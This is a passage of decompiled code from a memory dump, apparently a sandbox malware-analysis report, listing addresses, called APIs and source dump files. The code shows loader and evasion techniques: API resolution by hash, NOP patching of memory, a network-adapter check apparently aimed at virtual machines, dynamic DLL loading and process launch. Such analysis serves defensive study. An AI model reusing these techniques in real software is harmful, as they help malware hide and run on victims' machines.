						_t494 = E6EFF15C0(0x588ab3ea, 0x3b4caff7);
						__eflags = _t494;
						if(_t494 == 0) {
							L137:
							_t551 =  *0x6f019414; // 0x3f7883
							_t349 =  *0x6f01941a; // -16
							 *((intOrPtr*)(_t553 + 0xdc)) = _t551;
							 *((short*)(_t553 + 0xe0)) =  *0x6f019418 & 0x0000ffff;
							 *((char*)(_t553 + 0xe2)) = _t349;
							_t530 =  *(_t553 + 0x6c);
							_t552 =  *((intOrPtr*)(_t553 + 0x78));
							while(1) {
								_push(0x3f);
								_push(7);
								_push(_t553 + 0xe4);
								_t379 = E6EFF0DA0(_t530, _t552);
								__eflags = _t379;
								if(_t379 == 0) {
									goto L23;
								}
								 *(_t553 + 0xec) = _t379;
								 *((intOrPtr*)(_t553 + 0xf0)) = 0x10;
								_t552 = _t552 -  ~_t530 + _t379 + 7;
								 *((intOrPtr*)(_t553 + 0xf4)) = 0x40;
								_t160 = _t379 + 7; // 0x7
								_t530 = _t160;
								_t496 = E6EFF15C0(0x588ab3ea, 0x649746ec);
								__eflags = _t496;
								if(_t496 != 0) {
									_t526 = _t553 + 0xf0;
									 *_t496(0xffffffff, _t553 + 0xec, _t553 + 0xf0,  *((intOrPtr*)(_t553 + 0xf8)), _t553 + 0xf4);
								}
								 *((char*)(_t379 + 5)) = 0x90;
								 *((char*)(_t379 + 4)) = 0x90;
								_t523 = E6EFF15C0(0x588ab3ea, 0x649746ec);
								__eflags = _t523;
								if(_t523 != 0) {
									_t526 = _t553 + 0xec;
									 *_t523(0xffffffff, _t553 + 0xec, _t553 + 0xf0,  *((intOrPtr*)(_t553 + 0xf8)), _t553 + 0xf4);
								}
							}
							goto L23;
						} else {
							_t360 =  *_t494(0xffffffff, _t378, 0, _t553 + 0x6c, 0x1c, 0);
							__eflags = _t360;
							if(_t360 != 0) {
								goto L23;
							} else {
								goto L137;
							}
						}
						L143:
					}
				}
				L23:
				E6EFE1270(_t526, _t530);
				 *((intOrPtr*)(_t553 + 0x12c)) = 0x2800;
				_push(0x2800);
				E6F009350(_t553 + 0xfc);
				_t544 = E6F009640(_t553 + 0xfc, 0);
				_t502 = E6EFF15C0(0xd93f3271, 0xa1ee59b);
				if(_t502 != 0) {
					 *_t502(_t544, _t553 + 0x12c); // executed
				}
				if(_t544 != 0) {
					_t530 = 0x4b005452;
					do {
						if(( *((intOrPtr*)(_t544 + 0x194)) - _t530 | ( *(_t544 + 0x198) & 0x0000ffff) - 0x000031a1) == 0) {
							L6EFE5150();
						}
						_t544 =  *_t544;
					} while (_t544 != 0);
				}
				E6F009510(_t553 + 0xf8);
				E6EFF8810(_t553 + 0x108, 0);
				 *0x6f01b1c8 = _t553 + 0x108;
				_t190 = E6EFF15C0(0xa1310f65, 0xe10858ef);
				if(_t190 == 0) {
					__eflags = 0;
					_t192 = E6EFF15C0(0x1b47f147, 0x4c00b324);
					__eflags = _t192;
					if(_t192 == 0) {
						 *0x6f01b1d0 = 0;
						_t545 = E6EFF3930(0, 0, _t526, _t530);
						__eflags =  *_t545 - 0x10;
						if( *_t545 < 0x10) {
							L6EFE5150();
						}
						E6EFE6020(0);
						E6EFF8810(_t553 + 0x114, 0x200);
						_t503 = E6EFF15C0(0xa1310f65, 0xc4d11e8a);
						__eflags = _t503;
						if(_t503 != 0) {
							_t339 =  *(_t553 + 0x114) >> 1;
							__eflags = _t339;
							 *_t503(0,  *(_t553 + 0x114), _t339);
						}
						E6EFF2580(_t553 + 0x118, _t526, _t530);
						_t198 = E6EFF9C70(_t553 + 0x114, _t526,  *((intOrPtr*)(_t553 + 0x118)));
						__eflags = _t198;
						if(_t198 == 0) {
							E6EFF2780(_t553 + 0xe4, _t526, _t530);
							_t200 = E6EFF9C70(_t553 + 0x114, _t526,  *((intOrPtr*)(_t553 + 0xe4)));
							__eflags = _t200;
							if(_t200 == 0) {
								E6EFF2580(_t553 + 0xb4, _t526, _t530);
								_t530 = _t553 + 0x98;
								E6EFFD980(_t553 + 0xbc, _t553 + 0x98, 0x5c);
								_t203 = E6F007600(_t553 + 0x98, 2);
								E6EFEAC00(_t553 + 0xbc, 6);
								E6EFF8CC0(_t203,  *((intOrPtr*)(_t553 + 0xbc)));
								E6EFF8CA0(_t553 + 0xbc);
								E6F0089F0(_t530, _t553 + 0x124, 0x5c);
								E6F008910(_t530, _t526, _t530);
								E6EFF8CA0(_t553 + 0xb4);
								_t211 = E6EFF9C70(_t553 + 0x114, _t526,  *((intOrPtr*)(_t553 + 0x120)));
								__eflags = _t211;
								_t46 = _t211 > 0;
								__eflags = _t46;
								_t368 = 0 | _t46;
								E6EFF8CA0(_t553 + 0x120);
							} else {
								_t368 = 1;
							}
							E6EFF8CA0(_t553 + 0xe4);
							E6EFF8CA0(_t553 + 0x118);
							__eflags = _t368;
							if(_t368 == 0) {
								_t369 = 0;
								__eflags = 0;
							} else {
								goto L46;
							}
						} else {
							E6EFF8CA0(_t553 + 0x118);
							L46:
							_t369 = 1;
						}
						E6EFEAC00(_t553 + 0x120, 2);
						E6EFFD980(_t553 + 0x128, _t553 + 0x130, 0x7e);
						E6EFF8CA0(_t553 + 0x120);
						__eflags =  *(_t553 + 0x130);
						if( *(_t553 + 0x130) > 0) {
							 *_t553 = _t545;
							__eflags = 0;
							_t527 = _t553 + 0x130;
							while(1) {
								L50:
								_t333 = E6EFF15C0(0xa1310f65, 0xf3af54a7);
								__eflags = _t333;
								if(_t333 != 0) {
									LoadLibraryW( *(E6F007600(_t527, _t530))); // executed
								}
								_t334 =  *(_t553 + 0x130);
								while(1) {
									L53:
									_t530 = 1;
									__eflags = 1 - _t334;
									if(1 >= _t334) {
										break;
									}
									__eflags = 1 - 4;
									if(1 != 4) {
										goto L50;
									} else {
										_t506 =  *0x6f01b02a & 0x000000ff;
										__eflags = ( *0x6f01b02a & 0x000000ff) - 2;
										if(( *0x6f01b02a & 0x000000ff) == 2) {
											continue;
										} else {
											while(1) {
												L50:
												_t333 = E6EFF15C0(0xa1310f65, 0xf3af54a7);
												__eflags = _t333;
												if(_t333 != 0) {
													LoadLibraryW( *(E6F007600(_t527, _t530))); // executed
												}
												_t334 =  *(_t553 + 0x130);
												goto L53;
											}
										}
									}
									goto L58;
								}
								_t545 =  *_t553;
								goto L58;
							}
						}
						L58:
						__eflags =  *((intOrPtr*)(_t545 + 0x2c)) - 2;
						if( *((intOrPtr*)(_t545 + 0x2c)) != 2) {
							__eflags =  *0x6f01b028 & 0x000000ff;
							if(( *0x6f01b028 & 0x000000ff) == 0) {
								__eflags =  *0x6f01b265 & 0x000000ff;
								if(( *0x6f01b265 & 0x000000ff) == 0) {
									__eflags =  *0x6f01b1cc - 1;
									if( *0x6f01b1cc != 1) {
										_t312 =  *0x6f01b1d0; // 0x1569798
										_t61 = _t312 + 4; // 0x15697c0
										_t313 =  *_t61;
										_t506 =  *_t313 & 0x0000ffff;
										__eflags = ( *_t313 & 0x0000ffff) - 0x2d;
										if(( *_t313 & 0x0000ffff) != 0x2d) {
											E6EFF8AB0(_t553 + 0xcc, _t313, 0);
											_push(0x80);
											_push(0);
											E6F00A4E0(_t553 + 0x68, __eflags,  *((intOrPtr*)(_t553 + 0xd0)), 1);
											_t316 = E6F00BEA0(_t553 + 0x64, _t506, _t530);
											__eflags = _t316;
											if(_t316 == 0) {
												__eflags =  *((char*)(_t553 + 0x68));
												if( *((char*)(_t553 + 0x68)) != 0) {
													E6F00BE30(_t553 + 0x64, _t530);
												}
												E6EFF8CA0(_t553 + 0x58);
												_t533 = 0;
												__eflags = 0;
												while(1) {
													__eflags = E6F00A730(_t553 + 0xc4, _t506);
													if(__eflags == 0) {
														break;
													}
													E6EFF22A0(0x64, _t506);
													_t533 = _t533 + 1;
													__eflags = _t533 - 0x64;
													if(__eflags < 0) {
														continue;
													}
													break;
												}
												_t530 = _t553 + 0xcc;
												do {
													E6EFFAE80(_t553 + 0xcc, __eflags, _t530, 0x5c);
													E6EFF8CC0(_t553 + 0xc8,  *(_t553 + 0xcc));
													E6EFF8CA0(_t530);
													__eflags = E6F00A730(_t553 + 0xc4, _t506);
												} while (__eflags == 0);
											} else {
												__eflags =  *((char*)(_t553 + 0x68));
												if( *((char*)(_t553 + 0x68)) != 0) {
													E6F00BE30(_t553 + 0x64, _t530);
												}
												E6EFF8CA0(_t553 + 0x58);
											}
											E6EFF8CA0(_t553 + 0xc4);
										}
									}
								}
							}
							__eflags = ( *0x6f01b02a & 0x000000ff) - 2;
							if(( *0x6f01b02a & 0x000000ff) == 2) {
								L87:
								_t221 =  *0x6f01b1ad; // 0x14a1f88
								__eflags = _t221;
								if(_t221 == 0) {
									L89:
									_t222 =  *0x6f01b1ad; // 0x14a1f88
									__eflags = _t222;
									if(_t222 == 0) {
										_push(0x10);
										_t223 = E6EFF1030();
										_t553 = _t553 + 4;
										__eflags = _t223;
										if(_t223 != 0) {
											_push(0);
											_t224 = E6F009350(_t223);
										} else {
											_t224 = 0;
										}
										 *0x6f01b1ad = _t224;
									}
									_t530 =  *0x6f01b1ad; // 0x14a1f88
									__eflags = ( *0x6f01b02a & 0x000000ff) - 1;
									if(( *0x6f01b02a & 0x000000ff) == 1) {
										_t506 = 0x18f8c844;
										_t527 = _t553 + 0x28;
										E6EFE6AD0(_t369, _t527, 0x18f8c844, _t527, _t530, 1, 0);
										_push(_t527);
										E6F009520(_t530);
										E6F009510(_t527);
									} else {
										E6F009710(_t530, 0x6f01b02d,  *0x6f01b02b & 0x0000ffff);
									}
								} else {
									_t459 =  *0x6f01b1ad; // 0x14a1f88
									_t286 = E6F009660(_t459);
									__eflags = _t286;
									if(_t286 != 0) {
										goto L89;
									}
								}
								_t229 =  *0x6f01b1b1; // 0x0
								__eflags = _t229;
								if(_t229 == 0) {
									L95:
									_t230 =  *0x6f01b1b1; // 0x0
									__eflags = _t230;
									if(_t230 == 0) {
										_push(0x10);
										_t231 = E6EFF1030();
										_t553 = _t553 + 4;
										__eflags = _t231;
										if(_t231 != 0) {
											_push(0);
											_t232 = E6F009350(_t231);
										} else {
											_t232 = 0;
										}
										 *0x6f01b1b1 = _t232;
									}
									_t527 =  *0x6f01b1b1; // 0x0
									__eflags = ( *0x6f01b02a & 0x000000ff) - 1;
									if(( *0x6f01b02a & 0x000000ff) == 1) {
										_t506 = 0x11041f01;
										E6EFE6AD0(_t369, _t553 + 0x38, 0x11041f01, _t527, _t530, 1, 1);
										_push(_t553 + 0x38);
										E6F009520(_t527);
										E6F009510(_t553 + 0x38);
										_t239 = E6F009650(_t527);
										__eflags = _t239;
										if(_t239 != 0) {
											_t506 = 0xd3ef7577;
											E6EFE6AD0(_t369, _t553 + 8, 0xd3ef7577, _t527, _t530, 0, 0);
											E6F009510(_t553);
										}
									} else {
										_t530 =  *0x6f01b1c4; // 0x6efe0000
										__eflags =  *((char*)(E6EFF3930(_t369, 0, _t527, _t530) + 0xb)) - 0x20;
										_t515 =  ==  ? 0x7e839a6 : 0x93fc68d6;
										_t506 = _t530;
										E6EFE9090(_t553 + 0x88, _t530,  ==  ? 0x7e839a6 : 0x93fc68d6);
										_push(_t553 + 0x88);
										E6F009520(_t527);
										E6F009510(_t553 + 0x88);
									}
								} else {
									_t457 =  *0x6f01b1b1; // 0x0
									_t282 = E6F009660(_t457);
									__eflags = _t282;
									if(_t282 != 0) {
										goto L95;
									}
								}
								_t240 =  *((intOrPtr*)(_t545 + 0x2c));
								__eflags = _t240 - 3;
								if(_t240 == 3) {
									__eflags =  *0x6f01b1cc - 3;
									if( *0x6f01b1cc == 3) {
										E6EFF8CC0(_t553 + 0x10c,  *((intOrPtr*)( *0x6f01b1d0 + 8)));
									}
									_t370 = _t553 + 0x48;
									E6EFF8810(_t553 + 0x48, 0);
									_t244 = E6EFF9890(_t370, _t553 + 0x48, _t506, _t527, _t530, _t370, 0x6f019428,  *((intOrPtr*)(_t545 + 0x2c)));
									E6F000220(_t553 + 0x110,  *_t244, 0);
									E6EFF8CA0(_t370);
									L6EFE8180(_t530);
								} else {
									__eflags = _t240 - 5;
									if(_t240 != 5) {
										__eflags = _t240 - 6;
										if(__eflags == 0) {
											_t434 = _t553 + 0xa4;
											 *_t434 = 0;
											 *((intOrPtr*)(_t434 + 4)) = 0;
											 *((intOrPtr*)(_t434 + 8)) = 0;
											 *((intOrPtr*)(_t434 + 0xc)) = 0;
											E6EFF5B60(_t369, _t434, _t527, _t530, __eflags);
											E6EFE6740(_t553 + 0xa4);
											E6EFF1350(0x12);
											__eflags =  *(_t553 + 0xa8);
											if( *(_t553 + 0xa8) > 0) {
												_t372 = 0;
												__eflags = 0;
												do {
													_t259 = E6F012B00(_t553 + 0xa8, _t372);
													__eflags =  *((char*)(_t259 + 0x3c));
													if( *((char*)(_t259 + 0x3c)) == 0) {
														E6EFE2A40(_t553 + 0x50, _t259);
														E6EFF8CA0(_t553 + 0x50);
													}
													_t372 = _t372 + 1;
													__eflags = _t372 -  *(_t553 + 0xa8);
												} while (_t372 <  *(_t553 + 0xa8));
											}
											E6F012970(_t369, _t553 + 0xa4, _t527);
											_t438 =  *(_t553 + 0xb0);
											__eflags =  *(_t553 + 0xb0);
											if( *(_t553 + 0xb0) != 0) {
												E6EFE2A20(_t438, 1);
											}
										}
									} else {
										__eflags = _t369;
										if(_t369 == 0) {
											__eflags =  *0x6f01b1cc - 1;
											if(__eflags <= 0) {
												L104:
												_t442 = _t553 + 0x18;
												 *_t442 = 0;
												 *((intOrPtr*)(_t442 + 4)) = 0;
												 *((intOrPtr*)(_t442 + 8)) = 0;
												 *((intOrPtr*)(_t442 + 0xc)) = 0;
												E6EFF5B60(_t369, _t442, _t527, _t530, __eflags);
												__eflags = ( *0x6f01b029 & 0x000000ff) - 1;
												E6EFE7DB0(_t553 + 0x18, 0 | ( *0x6f01b029 & 0x000000ff) - 0x00000001 > 0x00000000);
												__eflags =  *0x6f01b029 & 0x000000ff;
												if(( *0x6f01b029 & 0x000000ff) != 0) {
													E6EFF1350(0x12);
													__eflags =  *(_t553 + 0x1c);
													if( *(_t553 + 0x1c) > 0) {
														_t373 = 0;
														__eflags = 0;
														do {
															_t269 = E6F012B00(_t553 + 0x1c, _t373);
															__eflags =  *((char*)(_t269 + 0x3c));
															if( *((char*)(_t269 + 0x3c)) == 0) {
																E6EFE2A40(_t553 + 0x10, _t269);
																E6EFF8CA0(_t553 + 0x10);
															}
															_t373 = _t373 + 1;
															__eflags = _t373 -  *(_t553 + 0x1c);
														} while (_t373 <  *(_t553 + 0x1c));
													}
												}
												E6F012970(_t369, _t553 + 0x18, _t527);
												_t445 =  *(_t553 + 0x24);
												__eflags =  *(_t553 + 0x24);
												if( *(_t553 + 0x24) != 0) {
													E6EFE2A20(_t445, 1);
												}
											} else {
												_t272 =  *0x6f01b1d0; // 0x1569798
												_t104 = _t272 + 4; // 0x15697c0
												__eflags = ( *( *_t104) & 0x0000ffff) - 0x2d;
												if(__eflags != 0) {
													goto L104;
												}
											}
										}
									}
								}
								E6F008910(_t553 + 0x130, _t527, _t530);
								E6EFF8CA0(_t553 + 0x110);
								E6EFF8CA0(_t553 + 0x108);
								E6EFF7A70(_t553 + 0x128);
								__eflags = 0;
								return 0;
							} else {
								__eflags =  *0x6f01b027 & 0x000000ff;
								if(( *0x6f01b027 & 0x000000ff) == 0) {
									goto L87;
								} else {
									__eflags = _t369;
									if(_t369 != 0) {
										goto L87;
									} else {
										__eflags =  *((char*)(_t545 + 0xb)) - 0x20;
										_t517 =  ==  ? 0x7fe7dfa2 : 0xfd81b916;
										E6EFE61B0(_t553 + 0x3c,  ==  ? 0x7fe7dfa2 : 0xfd81b916,  *((char*)(_t545 + 0xb)) - 0x20);
										E6EFF8810(_t553 + 0x18, 0x200);
										_t462 = E6EFF15C0(0xa1310f65, 0xc4d11e8a);
										__eflags = _t462;
										if(__eflags != 0) {
											_t309 =  *(_t553 + 0x18) >> 1;
											__eflags = _t309;
											_t517 =  *0x6f01b1c4; // 0x6efe0000
											 *_t462(_t517,  *(_t553 + 0x18), _t309);
										}
										_push(0x80);
										_push(0);
										E6F00A4E0(_t553 + 0x10, __eflags,  *((intOrPtr*)(_t553 + 0x20)), 1);
										E6F00A520(_t553 + 8, _t517, _t553 + 0x1c, 0);
										__eflags =  *((char*)(_t553 + 0x10));
										if( *((char*)(_t553 + 0x10)) != 0) {
											E6F00BE30(_t553 + 0xc, _t530);
										}
										__eflags = 0;
										E6EFF8CA0(_t553);
										_t532 = _t553 + 0x1a0;
										_t548 = _t553 + 0x2c;
										while(1) {
											E6EFF0B70(_t532, 0, 0x44);
											 *((intOrPtr*)(_t553 + 0x1ac)) = 0x44;
											E6EFF0B70(_t548, 0, 0x10);
											_t553 = _t553 + 0x18;
											E6EFF8810(_t553 + 0x4c, 0);
											_t301 = E6EFF96D0(E6EFF96D0(E6F000220(_t553 + 0x50,  *((intOrPtr*)(_t553 + 0x40)), 0), 0x20), 0x22);
											_t302 =  *0x6f01b1d0; // 0x1569798
											E6EFF96D0(E6F000220(_t301,  *_t302, 0), 0x22);
											_t305 = E6EFF15C0(0xa1310f65, 0x643f303c);
											__eflags = _t305;
											if(_t305 != 0) {
												break;
											}
											E6EFF8CA0(_t553 + 0x48);
										}
										_push(_t548);
										_push(_t532);
										_push(0);
										_push(0);
										_push(4);
										_push(0);
										_push(0);
										_push(0);
										_push( *((intOrPtr*)(_t553 + 0x68)));
										_push( *((intOrPtr*)(_t553 + 0x60)));
										asm("int3");
										return _t305;
									}
								}
							}
						} else {
							E6F008910(_t553 + 0x130, _t526, _t530);
							E6EFF8CA0(_t553 + 0x110);
							E6EFF8CA0(_t553 + 0x108);
							E6EFF7A70(_t553 + 0x128);
							__eflags = 0;
							return 0;
						}
					} else {
						_push(0x6f01b1cc);
						_push(0);
						asm("int3");
						return _t192;
					}
				} else {
					asm("int3");
					return _t190;
				}
				goto L143;
			}

0x6efe51a7
0x6efe51a7
0x6efe51b7
0x6efe51bc
0x6efe51be
0x6efe51c5
0x6efe51d0
0x6efe51dc
0x6efe51e4
0x6efe51ec
0x6efe51f1
0x6efe51f8
0x00000000
0x00000000
0x6efe51fa
0x6efe5202
0x6efe5209
0x00000000
0x6efe520b
0x6efe5212
0x6efe5212
0x00000000
0x6efe5209
0x6efe51fa
0x6efe5218
0x6efe5218
0x6efe521a
0x6efe5221
0x6efe522c
0x6efe5238
0x6efe5240
0x6efe5248
0x6efe524d
0x6efe5254
0x00000000
0x00000000
0x6efe5256
0x6efe525e
0x6efe5265
0x00000000
0x6efe5267
0x6efe526e
0x6efe526e
0x00000000
0x6efe5265
0x6efe5256
0x6efe5274
0x6efe5274
0x6efe5276
0x6efe527d
0x6efe5288
0x6efe5294
0x6efe529c
0x6efe52a4
0x6efe52a9
0x6efe52b0
0x00000000
0x00000000
0x6efe52b2
0x6efe52ba
0x6efe52c1
0x00000000
0x6efe52c3
0x6efe52ca
0x6efe52ca
0x00000000
0x6efe52c1
0x6efe52b2
0x6efe52d0
0x6efe52d0
0x6efe52d2
0x6efe52d9
0x6efe52e4
0x6efe52f0
0x6efe52f8
0x6efe5300
0x6efe5305
0x6efe530c
0x00000000
0x00000000
0x6efe530e
0x6efe5316
0x6efe531d
0x00000000
0x6efe531f
0x6efe5326
0x6efe5326
0x00000000
0x6efe531d
0x6efe530e
0x6efe532c
0x6efe5333
0x6efe5338
0x6efe5344
0x6efe5350
0x6efe5358
0x6efe5efb
0x6efe5efb
0x6efe5f04
0x6efe5f06
0x6efe5f08
0x6efe5f22
0x6efe5f22
0x6efe5f2f
0x6efe5f34
0x6efe5f3b
0x6efe5f43
0x6efe5f4a
0x6efe5f4e
0x6efe5f52
0x6efe5f52
0x6efe5f54
0x6efe5f61
0x6efe5f67
0x6efe5f69
0x6efe5f6b
0x00000000
0x00000000
0x6efe5f75
0x6efe5f7f
0x6efe5f8a
0x6efe5f8c
0x6efe5f97
0x6efe5f97
0x6efe5fa9
0x6efe5fab
0x6efe5fad
0x6efe5fbd
0x6efe5fd0
0x6efe5fd0
0x6efe5fe1
0x6efe5fe4
0x6efe5fec
0x6efe5fee
0x6efe5ff0
0x6efe5ffd
0x6efe6017
0x6efe6017
0x6efe5ff0
0x00000000
0x6efe5f0a
0x6efe5f18
0x6efe5f1a
0x6efe5f1c
0x00000000
0x00000000
0x00000000
0x00000000
0x6efe5f1c
0x00000000
0x6efe5f08
0x6efe5358
0x6efe535e
0x6efe535e
0x6efe5368
0x6efe536f
0x6efe5377
0x6efe538a
0x6efe539b
0x6efe539f
0x6efe53aa
0x6efe53aa
0x6efe53ae
0x6efe53b0
0x6efe53ba
0x6efe53cd
0x6efe53cf
0x6efe53cf
0x6efe53d4
0x6efe53d7
0x6efe53ba
0x6efe53e2
0x6efe53f0
0x6efe53fc
0x6efe540b
0x6efe5412
0x6efe541c
0x6efe5428
0x6efe542d
0x6efe542f
0x6efe5440
0x6efe5451
0x6efe5453
0x6efe5457
0x6efe5459
0x6efe5459
0x6efe545e
0x6efe546f
0x6efe5483
0x6efe5485
0x6efe5487
0x6efe5490
0x6efe5490
0x6efe549c
0x6efe549c
0x6efe54a5
0x6efe54b8
0x6efe54bd
0x6efe54bf
0x6efe54d9
0x6efe54ec
0x6efe54f1
0x6efe54f3
0x6efe5506
0x6efe550b
0x6efe551c
0x6efe5525
0x6efe5538
0x6efe5546
0x6efe5552
0x6efe5563
0x6efe556a
0x6efe5576
0x6efe5589
0x6efe5590
0x6efe5599
0x6efe5599
0x6efe5599
0x6efe559c
0x6efe54f5
0x6efe54f5
0x6efe54f5
0x6efe55a8
0x6efe55b4
0x6efe55b9
0x6efe55bb
0x6efe55c4
0x6efe55c4
0x00000000
0x00000000
0x00000000
0x6efe54c1
0x6efe54c8
0x6efe55bd
0x6efe55bd
0x6efe55bd
0x6efe55d2
0x6efe55e8
0x6efe55f4
0x6efe55f9
0x6efe5601
0x6efe5603
0x6efe5606
0x6efe5608
0x6efe560f
0x6efe560f
0x6efe5619
0x6efe5620
0x6efe5622
0x6efe562e
0x6efe562e
0x6efe5630
0x6efe5637
0x6efe5637
0x6efe5637
0x6efe5638
0x6efe563a
0x00000000
0x00000000
0x6efe563c
0x6efe563f
0x00000000
0x6efe5641
0x6efe5641
0x6efe5648
0x6efe564b
0x00000000
0x6efe564d
0x6efe560f
0x6efe560f
0x6efe5619
0x6efe5620
0x6efe5622
0x6efe562e
0x6efe562e
0x6efe5630
0x00000000
0x6efe5630
0x6efe560f
0x6efe564b
0x00000000
0x6efe563f
0x6efe564f
0x00000000
0x6efe564f
0x6efe560f
0x6efe5652
0x6efe5652
0x6efe5656
0x6efe569c
0x6efe569e
0x6efe56ab
0x6efe56ad
0x6efe56b3
0x6efe56ba
0x6efe56c0
0x6efe56c5
0x6efe56c5
0x6efe56c8
0x6efe56cb
0x6efe56ce
0x6efe56de
0x6efe56e3
0x6efe56e8
0x6efe56f7
0x6efe5700
0x6efe5705
0x6efe5707
0x6efe5724
0x6efe5729
0x6efe572f
0x6efe572f
0x6efe5738
0x6efe573d
0x6efe573d
0x6efe573f
0x6efe574b
0x6efe574d
0x00000000
0x00000000
0x6efe5754
0x6efe5759
0x6efe575a
0x6efe575d
0x00000000
0x00000000
0x00000000
0x6efe575d
0x6efe575f
0x6efe5766
0x6efe5770
0x6efe5783
0x6efe578a
0x6efe579b
0x6efe579b
0x6efe5709
0x6efe5709
0x6efe570e
0x6efe5714
0x6efe5714
0x6efe571d
0x6efe571d
0x6efe57a6
0x6efe57a6
0x6efe56ce
0x6efe56ba
0x6efe56ad
0x6efe57b2
0x6efe57b5
0x6efe5b3c
0x6efe5b3c
0x6efe5b41
0x6efe5b43
0x6efe5b54
0x6efe5b54
0x6efe5b59
0x6efe5b5b
0x6efe5e33
0x6efe5e35
0x6efe5e3a
0x6efe5e3d
0x6efe5e3f
0x6efe5e47
0x6efe5e49
0x6efe5e41
0x6efe5e41
0x6efe5e41
0x6efe5e4e
0x6efe5e4e
0x6efe5b61
0x6efe5b6e
0x6efe5b71
0x6efe5e0b
0x6efe5e10
0x6efe5e1a
0x6efe5e21
0x6efe5e22
0x6efe5e29
0x6efe5b77
0x6efe5b86
0x6efe5b86
0x6efe5b45
0x6efe5b45
0x6efe5b4b
0x6efe5b50
0x6efe5b52
0x00000000
0x00000000
0x6efe5b52
0x6efe5b92
0x6efe5b97
0x6efe5b99
0x6efe5baa
0x6efe5baa
0x6efe5baf
0x6efe5bb1
0x6efe5eb0
0x6efe5eb2
0x6efe5eb7
0x6efe5eba
0x6efe5ebc
0x6efe5ec4
0x6efe5ec6
0x6efe5ebe
0x6efe5ebe
0x6efe5ebe
0x6efe5ecb
0x6efe5ecb
0x6efe5bb7
0x6efe5bc4
0x6efe5bc7
0x6efe5e62
0x6efe5e68
0x6efe5e73
0x6efe5e74
0x6efe5e7d
0x6efe5e84
0x6efe5e89
0x6efe5e8b
0x6efe5e93
0x6efe5e9e
0x6efe5ea6
0x6efe5ea6
0x6efe5bcd
0x6efe5bcf
0x6efe5be8
0x6efe5bf1
0x6efe5bf5
0x6efe5bf7
0x6efe5c05
0x6efe5c06
0x6efe5c12
0x6efe5c12
0x6efe5b9b
0x6efe5b9b
0x6efe5ba1
0x6efe5ba6
0x6efe5ba8
0x00000000
0x00000000
0x6efe5ba8
0x6efe5c1e
0x6efe5c21
0x6efe5c24
0x6efe5d87
0x6efe5d8e
0x6efe5ee4
0x6efe5ee4
0x6efe5d94
0x6efe5d9c
0x6efe5daa
0x6efe5dbd
0x6efe5dc4
0x6efe5dc9
0x6efe5c2a
0x6efe5c2a
0x6efe5c2d
0x6efe5cf0
0x6efe5cf3
0x6efe5cfb
0x6efe5d02
0x6efe5d04
0x6efe5d07
0x6efe5d0a
0x6efe5d0d
0x6efe5d1b
0x6efe5d25
0x6efe5d2a
0x6efe5d32
0x6efe5d34
0x6efe5d34
0x6efe5d36
0x6efe5d3e
0x6efe5d43
0x6efe5d47
0x6efe5d4f
0x6efe5d58
0x6efe5d58
0x6efe5d5d
0x6efe5d5e
0x6efe5d5e
0x6efe5d36
0x6efe5d6e
0x6efe5d73
0x6efe5d7a
0x6efe5d7c
0x6efe5d80
0x6efe5d80
0x6efe5d7c
0x6efe5c33
0x6efe5c33
0x6efe5c35
0x6efe5c3b
0x6efe5c42
0x6efe5c58
0x6efe5c5a
0x6efe5c5e
0x6efe5c60
0x6efe5c63
0x6efe5c66
0x6efe5c69
0x6efe5c77
0x6efe5c81
0x6efe5c8d
0x6efe5c8f
0x6efe5c96
0x6efe5c9b
0x6efe5ca0
0x6efe5ca2
0x6efe5ca2
0x6efe5ca4
0x6efe5ca9
0x6efe5cae
0x6efe5cb2
0x6efe5cba
0x6efe5cc3
0x6efe5cc3
0x6efe5cc8
0x6efe5cc9
0x6efe5cc9
0x6efe5ca4
0x6efe5ca0
0x6efe5cd3
0x6efe5cd8
0x6efe5cdc
0x6efe5cde
0x6efe5ce6
0x6efe5ce6
0x6efe5c44
0x6efe5c44
0x6efe5c49
0x6efe5c4f
0x6efe5c52
0x00000000
0x00000000
0x6efe5c52
0x6efe5c42
0x6efe5c35
0x6efe5c2d
0x6efe5dd5
0x6efe5de1
0x6efe5ded
0x6efe5df9
0x6efe5dfe
0x6efe5e0a
0x6efe57bb
0x6efe57c2
0x6efe57c4
0x00000000
0x6efe57ca
0x6efe57ca
0x6efe57cc
0x00000000
0x6efe57d2
0x6efe57dc
0x6efe57e4
0x6efe57e7
0x6efe57f5
0x6efe5809
0x6efe580b
0x6efe580d
0x6efe5813
0x6efe5813
0x6efe581a
0x6efe5821
0x6efe5821
0x6efe5823
0x6efe5828
0x6efe5834
0x6efe5844
0x6efe5849
0x6efe584e
0x6efe5854
0x6efe5854
0x6efe5859
0x6efe585e
0x6efe5863
0x6efe586a
0x6efe586e
0x6efe5873
0x6efe5878
0x6efe5888
0x6efe588d
0x6efe5896
0x6efe58b7
0x6efe58be
0x6efe58d0
0x6efe58df
0x6efe58e4
0x6efe58e6
0x00000000
0x00000000
0x6efe5996
0x6efe5996
0x6efe58ec
0x6efe58ed
0x6efe58ee
0x6efe58ef
0x6efe58f0
0x6efe58f2
0x6efe58f3
0x6efe58f4
0x6efe58f5
0x6efe58f9
0x6efe58fd
0x6efe58fe
0x6efe58fe
0x6efe57cc
0x6efe57c4
0x6efe5658
0x6efe565f
0x6efe566b
0x6efe5677
0x6efe5683
0x6efe5688
0x6efe5694
0x6efe5694
0x6efe5431
0x6efe5431
0x6efe5436
0x6efe5437
0x6efe5438
0x6efe5438
0x6efe5414
0x6efe5414
0x6efe5415
0x6efe5415
0x00000000

APIs

OutputDebugStringA.KERNEL32(?), ref: 6EFE51DC
Sleep.KERNEL32(0000000A), ref: 6EFE51E4
OutputDebugStringA.KERNEL32(?), ref: 6EFE5212
OutputDebugStringA.KERNEL32(?), ref: 6EFE5238
Sleep.KERNEL32(0000000A), ref: 6EFE5240
OutputDebugStringA.KERNEL32(?), ref: 6EFE526E
OutputDebugStringA.KERNEL32(?), ref: 6EFE5294
Sleep.KERNEL32(0000000A), ref: 6EFE529C
OutputDebugStringA.KERNEL32(?), ref: 6EFE52CA
OutputDebugStringA.KERNEL32(?), ref: 6EFE52F0
Sleep.KERNEL32(0000000A), ref: 6EFE52F8
OutputDebugStringA.KERNEL32(?), ref: 6EFE5326
GetAdaptersInfo.IPHLPAPI(00000000,?,D93F3271,0A1EE59B,00000000,00002800,?,00000007,0000003F,588AB3EA,3B4CAFF7,588AB3EA,1BE15FEB,755AA3F0), ref: 6EFE53AA

Strings

@, xrefs: 6EFE5F8C

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
